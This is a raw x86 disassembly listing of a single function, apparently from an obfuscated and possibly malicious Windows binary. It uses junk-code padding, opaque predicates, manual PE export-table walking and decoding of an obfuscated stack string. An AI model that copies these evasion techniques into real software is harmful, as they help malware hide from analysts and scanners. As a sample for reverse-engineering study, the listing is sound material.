jmp 0x1001f0fe
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xfffffff6
je 0x1001f17c
push 1
lea ecx, [ebp - 0xe4c]
call fcn.100214ae
mov byte [ebp - 4], 0x3a
mov dword [ebp - 0x260], 0
jmp 0x1001f12e
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 1
jge 0x1001f14d
push dword [ebp - 0x260]
lea ecx, [ebp - 0xe4c]
call fcn.1002154c
and dword [eax], 0
jmp 0x1001f121
mov esi, dword [ebp - 0x45c]
push 0
lea ecx, [ebp - 0xe4c]
call fcn.1002154c
add esi, dword [eax]
mov dword [ebp - 0xc68], esi
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0xe4c]
call fcn.10021530
jmp 0x1001f0f7
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1094]
call fcn.1000ac6a
mov dword [ebp - 0x464], eax
movzx eax, byte [0x10619d96]
test eax, eax
je 0x1001f1ac
mov ecx, 0x10619ebc
call fcn.10021637
movzx eax, al
test eax, eax
jne 0x1001f1cc
lea eax, [ebp - 0x464]
push eax
mov ecx, 0x10619ebc
call fcn.10021732
mov ecx, dword [ebp - 0x140]
mov dword [eax], ecx
mov byte [0x10619d96], 1
cmp dword [ebp - 0x148], 0xffffffff
jne 0x1001f1ef
mov eax, dword [ebp - 0x464]
cmp eax, dword [ebp - 0x268]
jne 0x1001f1ef
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x148], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1094]
call fcn.1002146f
jmp 0x1001ec09
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x174], 0x897a4a12
push 1
lea ecx, [ebp - 0xf88]
call fcn.100214ae
mov dword [ebp - 4], 0x3b
mov dword [ebp - 0x270], 0
jmp 0x1001f244
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 1
jge 0x1001f263
push dword [ebp - 0x270]
lea ecx, [ebp - 0xf88]
call fcn.1002154c
or dword [eax], 0xffffffff
jmp 0x1001f237
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x1b8], 0
jmp 0x1001f288
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
jg 0x1001f302
mov dword [ebp - 0x46c], 0x872f
mov dword [ebp - 0x174], 0
jmp 0x1001f2b4
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jg 0x1001f2f0
mov byte [ebp - 0x11f], 0
movzx eax, byte [ebp - 0x11f]
test eax, eax
je 0x1001f2ee
push 0x22a7
push 0x851
push 0x2a8
push 0x156c
push 0x1e9a
call dword [sym.imp.GDI32.dll_Ellipse]
jmp 0x1001f2a7
mov eax, dword [ebp - 0x46c]
dec eax
mov dword [ebp - 0x46c], eax
jmp 0x1001f27b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf88]
call fcn.10021530
cmp dword [ebp + 0x10], 0
jne 0x1001f340
cmp dword [ebp - 0x148], 0xffffffff
je 0x1001f340
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x150]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x148]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x8c], ax
mov dword [ebp - 0x1c0], 7
push 2
lea ecx, [ebp - 0xc74]
call fcn.100214ae
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0x474], 0xfffffff8
push 2
lea ecx, [ebp - 0x408]
call fcn.100214ae
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0xba0], 0xfffffffa
mov dword [ebp - 0xe88], 4
mov dword [ebp - 0xa0], 0
jmp 0x1001f3a6
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1001f3c8
push dword [ebp - 0xa0]
lea ecx, [ebp - 0xc74]
call fcn.1002154c
mov dword [eax], 0xba394643
jmp 0x1001f399
mov dword [ebp - 0xa0], 0
jmp 0x1001f3e1
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1001f403
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov dword [eax], 1
jmp 0x1001f3d4
mov esi, dword [ebp - 0x1c0]
push 0
lea ecx, [ebp - 0xc74]
call fcn.1002154c
mov dword [eax], esi
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0xf7c], eax
push 1
lea ecx, [ebp - 0xc74]
call fcn.1002154c
cmp dword [eax], 0
jle 0x1001f442
mov dword [ebp - 0x394], 1
jmp 0x1001f449
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0xfffffff7
jg 0x1001f47c
push 1
lea ecx, [ebp - 0x408]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001f47c
mov dword [ebp - 0x47c], 1
jmp 0x1001f483
and dword [ebp - 0x47c], 0
cmp dword [ebp - 0x47c], 0x8461e707
jbe 0x1001f49b
mov dword [ebp - 0x484], 1
jmp 0x1001f4a2
and dword [ebp - 0x484], 0
push 1
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov ecx, dword [ebp - 0x484]
cmp ecx, dword [eax]
jge 0x1001f4c5
mov dword [ebp - 0x48c], 1
jmp 0x1001f4cc
and dword [ebp - 0x48c], 0
push 1
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov ecx, dword [ebp - 0x48c]
cmp ecx, dword [eax]
jne 0x1001f4ef
mov dword [ebp - 0x494], 1
jmp 0x1001f4f6
and dword [ebp - 0x494], 0
push 1
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov ecx, dword [ebp - 0x494]
cmp ecx, dword [eax]
jne 0x1001f519
mov dword [ebp - 0x49c], 1
jmp 0x1001f520
and dword [ebp - 0x49c], 0
push 1
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov ecx, dword [ebp - 0x49c]
cmp ecx, dword [eax]
je 0x1001f54c
mov eax, 0x9842
test eax, eax
je 0x1001f54c
mov dword [ebp - 0x4a4], 1
jmp 0x1001f553
and dword [ebp - 0x4a4], 0
push 1
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov ecx, dword [ebp - 0x4a4]
cmp ecx, dword [eax]
jle 0x1001f576
mov dword [ebp - 0x4ac], 1
jmp 0x1001f57d
and dword [ebp - 0x4ac], 0
push 1
lea ecx, [ebp - 0xc74]
call fcn.1002154c
mov ecx, dword [ebp - 0x394]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c0]
add eax, dword [ebp - 0x4ac]
cmp dword [ebp - 0x394], eax
je 0x1001f5b2
mov dword [ebp - 0x4b4], 1
jmp 0x1001f5b9
and dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 1
jbe 0x1001f5ce
mov dword [ebp - 0x4bc], 1
jmp 0x1001f5d5
and dword [ebp - 0x4bc], 0
push 0
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov ecx, dword [ebp - 0x4bc]
add ecx, dword [eax]
imul eax, ecx, 0xddc8
mov dword [ebp - 0x4c4], eax
push 1
lea ecx, [ebp - 0x408]
call fcn.1002154c
mov ecx, dword [ebp - 0x4c4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x4c4], eax
jle 0x1001f625
mov dword [ebp - 0x4cc], 1
jmp 0x1001f62c
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0xba0], eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x408]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc74]
call fcn.10021530
movzx eax, word [ebp - 0x8c]
cmp eax, 0xffff
je 0x1001fa42
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ebp - 0x150]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xc9c], eax
mov eax, dword [ebp - 0xc9c]
mov ecx, dword [ebp - 0x150]
add ecx, dword [eax]
mov dword [ebp - 0xc4], ecx
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0xc8]
jbe 0x1001fa37
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c8]
mov edx, dword [ebp - 0xc8]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xc4], edx
jae 0x1001fa37
mov eax, dword [0x10619e3c]
and eax, 2
jne 0x1001f701
mov eax, dword [0x10619e3c]
or eax, 2
mov dword [0x10619e3c], eax
mov dword [ebp - 4], 0x3e
push 0xfae0
call fcn.10046290
pop ecx
mov byte [0x10619f00], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x78], 1
mov byte [ebp - 0x77], 0xc2
mov byte [ebp - 0x76], 0
mov byte [ebp - 0x75], 8
mov byte [ebp - 0x74], 1
mov byte [ebp - 0x73], 0x7c
mov byte [ebp - 0x72], 2
mov byte [ebp - 0x71], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x78]
and eax, 0xae
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x78]
or ecx, 0xae
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
mov byte [ebp + eax - 0x110], cl
mov dword [ebp - 0x1c], 2
and dword [ebp - 0x1ac], 0
jmp 0x1001f76e
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 8
jae 0x1001f82e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x1001f7af
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x78]
inc eax
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x78]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
jmp 0x1001f766
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0x7a]
movsx eax, byte [ebp + eax - 0x110]
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x77]
and ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0x7a]
movsx eax, byte [ebp + eax - 0x110]
mov edx, dword [ebp - 0x1c]
movzx edx, byte [ebp + edx - 0x77]
and edx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0x7a]
movsx eax, byte [ebp + eax - 0x110]
mov esi, dword [ebp - 0x1c]
movzx ebx, byte [ebp + esi - 0x77]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x78]
mov byte [ebp + eax - 0x110], bl
and dword [ebp - 0x1ac], 0
jmp 0x1001f766
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x110], 0
mov eax, dword [0x10619e3c]
and eax, 4
jne 0x1001f87a
mov eax, dword [0x10619e3c]
or eax, 4
mov dword [0x10619e3c], eax
mov dword [ebp - 4], 0x3f
lea eax, [ebp - 0x110]
push eax
mov ecx, 0x10619e74
call fcn.1002144c
push 0x10071ac4
call fcn.1005a7c7
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x278], 0
jmp 0x1001f890
cmp dword [ebp - 0x278], 4
jae 0x1001f8a9
mov eax, dword [ebp - 0xc4]
jmp 0x1001ff81
mov dword [ebp - 0x4dc], 0x7c05
mov dword [ebp - 0xc78], 0x10007fc8
cmp dword [ebp - 0x4dc], 0x7ec8
jle 0x1001fb0e
and dword [ebp - 0x290], 0
jmp 0x1001fa7c
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x3071
jge 0x1001fb0e
and dword [ebp - 0x280], 0
jmp 0x1001faa2
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x5615
jge 0x1001fb09
and dword [ebp - 0x288], 0
jmp 0x1001fac4
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x63e2
jge 0x1001fb07
mov eax, dword [ebp - 0x280]
sub eax, dword [ebp - 0x288]
or eax, dword [ebp - 0x290]
cdq
mov dword [ebp - 0xaf0], eax
mov dword [ebp - 0xaec], edx
push dword [ebp - 0xaec]
push dword [ebp - 0xaf0]
mov ecx, 0x10618c58
call fcn.100212a3
jmp 0x1001fab7
jmp 0x1001fa95
jmp 0x1001fa6f
push 2
lea ecx, [ebp - 0xc94]
call fcn.100214ae
mov dword [ebp - 4], 0x43
mov byte [ebp - 4], 0x44
cmp dword [ebp - 0x4dc], 0x7825
jge 0x1001fb42
mov edx, dword [ebp - 0xc78]
mov ecx, 0x10618c58
call fcn.10024060
jmp 0x1001fb5e
mov dword [ebp - 4], 0x43
jmp 0x1001fb6e
push 1
lea ecx, [ebp - 0x414]
call fcn.100214ae
mov byte [ebp - 4], 0x46
mov dword [ebp - 0xa8], 0
jmp 0x1001fb98
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x1001fbb7
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xc94]
call fcn.1002154c
and dword [eax], 0
jmp 0x1001fb8b
mov dword [ebp - 0xa8], 0
jmp 0x1001fbd0
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x1001fbf2
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x414]
call fcn.1002154c
mov dword [eax], 0x2ee76f50
jmp 0x1001fbc3
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
and dword [eax], 0
jmp 0x1001fc28
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
mov dword [ebp - 0x4e4], eax
mov eax, dword [ebp - 0x4e4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
cmp dword [eax], 1
jg 0x1001ff61
mov dword [ebp - 0x158], 1
mov dword [ebp - 0xbb0], 1
push 1
lea ecx, [ebp - 0xc84]
call fcn.100214ae
mov byte [ebp - 4], 0x47
mov dword [ebp - 0x298], 0
jmp 0x1001fc7c
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 1
jge 0x1001fc9e
push dword [ebp - 0x298]
lea ecx, [ebp - 0xc84]
call fcn.1002154c
mov dword [eax], 0x1462
jmp 0x1001fc6f
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0xc94]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001fcd1
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0xc84]
call fcn.10021530
jmp 0x1001ff61
mov dword [ebp - 0x158], 0
jmp 0x1001fcea
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 1
jg 0x1001ff4d
mov dword [ebp - 0x4ec], 2
mov dword [ebp - 0xa70], 0xf6285890
mov dword [ebp - 0xa6c], 0xf6285890
mov dword [ebp - 0xa68], 0xf6285890
mov dword [ebp - 0xa64], 0xf6285890
mov dword [ebp - 0xbb0], 1
mov eax, 0x5d1c
test eax, eax
je 0x1001fd58
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa70], 0
je 0x1001fd58
mov dword [ebp - 0x4f4], 1
jmp 0x1001fd5f
and dword [ebp - 0x4f4], 0
mov dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
cmp eax, dword [ebp - 0x4f4]
jle 0x1001fd83
mov dword [ebp - 0x51c], 1
jmp 0x1001fd8a
and dword [ebp - 0x51c], 0
push 4
pop eax
imul eax, eax, 3
mov esi, dword [ebp + eax - 0xa70]
add esi, 9
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
cmp esi, dword [eax]
jle 0x1001fdb7
mov dword [ebp - 0x4fc], 1
jmp 0x1001fdbe
and dword [ebp - 0x4fc], 0
push 0
lea ecx, [ebp - 0xc84]
call fcn.1002154c
mov ecx, dword [ebp - 0x4fc]
cmp ecx, dword [eax]
jne 0x1001fde1
mov dword [ebp - 0x504], 1
jmp 0x1001fde8
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x158]
imul eax, dword [ebp - 0x504]
test eax, eax
je 0x1001fe0e
mov eax, 0x442e119
test eax, eax
je 0x1001fe0e
mov dword [ebp - 0xca0], 1
jmp 0x1001fe15
and dword [ebp - 0xca0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa70]
mov dword [ebp - 0xe98], eax
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0xc94]
call fcn.1002154c
mov dword [ebp - 0x50c], eax
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0xc94]
call fcn.1002154c
mov ecx, dword [ebp - 0x50c]
mov eax, dword [eax]
mov dword [ecx], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xa70]
mov ecx, dword [ebp - 0x50c]
cmp dword [ecx], eax
jl 0x1001fe8e
mov dword [ebp - 0x514], 1
jmp 0x1001fe95
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x158]
cmp dword [ebp - 0x514], eax
jle 0x1001feaf
mov dword [ebp - 0x524], 1
jmp 0x1001feb6
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x51c]
imul eax, dword [ebp - 0x524]
test eax, eax
ja 0x1001fed3
mov dword [ebp - 0x52c], 1
jmp 0x1001feda
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x52c]
neg eax
cmp eax, 0x334adc6f
jne 0x1001fef5
mov dword [ebp - 0x534], 1
jmp 0x1001fefc
and dword [ebp - 0x534], 0
push 0
lea ecx, [ebp - 0xc84]
call fcn.1002154c
mov ecx, dword [ebp - 0x534]
cmp ecx, dword [eax]
jl 0x1001ff1f
mov dword [ebp - 0x53c], 1
jmp 0x1001ff26
and dword [ebp - 0x53c], 0
push 0
lea ecx, [ebp - 0x414]
call fcn.1002154c
mov ecx, dword [ebp - 0x53c]
add ecx, dword [eax]
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xa70], ecx
jmp 0x1001fcdd
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0xc84]
call fcn.10021530
jmp 0x1001fc04
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x414]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc94]
call fcn.10021530
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret